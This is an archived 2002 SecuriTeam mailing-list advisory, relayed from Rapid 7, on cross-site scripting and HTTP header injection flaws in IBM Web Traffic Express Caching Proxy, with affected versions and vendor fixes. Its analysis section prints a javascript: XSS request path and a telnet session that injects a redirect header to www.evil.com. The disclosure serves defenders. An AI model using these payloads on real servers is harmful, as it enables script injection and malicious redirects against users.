

# [NT] IBM WebSphere Edge Server Caching Proxy Cross-Site Scripting Issues

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-10/0116.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 10/23/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 23 Oct 2002 23:30:08 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

-----

IBM WebSphere Edge Server Caching Proxy Cross-Site Scripting Issues

---

## SUMMARY

IBM Web Traffic Express Caching Proxy server is vulnerable to cross site scripting. The Caching Proxy server allows script code to be injected into pages using standard cross-site scripting techniques. A second, variant attack allows the HTTP headers to be manipulated.

IBM now bundles Web Traffic Express v4.0 with WebSphere Edge Server v2.0. IBM Web Traffic Express v3.6 and earlier were separately shipping products.

## DETAILS

Vulnerable systems:

- \* IBM Web Traffic Express Caching Proxy Server v4.x (bundled with IBM WebSphere Edge Server v2.0)

- \* IBM Web Traffic Express Caching Proxy Server v3.6

Vendor status and information:

IBM Software –

<<http://www-3.ibm.com/software/webservers/edgeserver/index.html>>

<http://www-3.ibm.com/software/webservers/edgeserver/index.html>

## Securiteam: [NT] IBM WebSphere Edge Server Caching Proxy Cross-Site Scripting Issues

IBM was notified of this issue and has released efix build number 4.0.1.26 for Caching Proxy Server v4.x, which fixes this issue and other security issues (see Rapid 7 advisory R7-0007 for more information:

<<http://www.rapid7.com/advisories/R7-0007.txt>>  
<http://www.rapid7.com/advisories/R7-0007.txt> ).

IBM is tracking the first (standard) XSS issue as APAR# IY24527. IBM is tracking the second (header injection) XSS issue as APAR# IY35139.

### Solution:

IBM customers should install Caching Proxy efix build 4.0.1.26 or higher. Efix builds can be downloaded from IBM's secure FTP site. For more information on obtaining efix builds, contact IBM support with the APAR numbers listed above.

The fixes have also been ported back to the Web Traffic Express v3.6 code base. Customers running v3.6 should contact IBM support for more information on how to upgrade to a newer build.

### Detailed analysis:

There are two XSS techniques that can be used against the caching proxy server. Please note that the following text may be wrapped or otherwise mangled by mail clients or gateways. You should refer to the original advisory if there is a question about the exact text.

#### a) Standard XSS exploit against Web Traffic Express Caching Proxy

Request the following path from the caching proxy server:

```
/"><img%20src="javascript:alert(document.domain)">
```

#### b) XSS exploit against Web Traffic Express Caching Proxy, adding a second "Location:" header by using %0a%0d

```
telnet www.victim.com 80
Trying 192.168.100.1...
Connected to www.victim.com.
Escape character is '^]'.
GET /%0a%0dLocation:%20http://www.evil.com/"> HTTP/1.0
```

```
HTTP/1.1 302 Found
Server: IBM-PROXY-WTE-US/3.6
Date: Fri, 18 Oct 2002 03:44:18 GMT
Location: http://www.victim.com/www.victim.com/
Location: http://www.evil.com/
Accept-Ranges: bytes
Content-Type: text/html
Content-Length: 443
Last-Modified: Fri, 26 Jul 2002 03:44:18 GMT
```

### ADDITIONAL INFORMATION

Securiteam: [NT] IBM WebSphere Edge Server Caching Proxy Cross-Site Scripting Issues

The original advisory can be downloaded from:

<<http://www.rapid7.com/advisories/R7-0008.txt>>  
<http://www.rapid7.com/advisories/R7-0008.txt>

The information has been provided by <<mailto:advisory@rapid7.com>> Rapid 7 Security Advisories.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[NT] IBM WebSphere Edge Server Caching Proxy Denial of Service"
  - **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)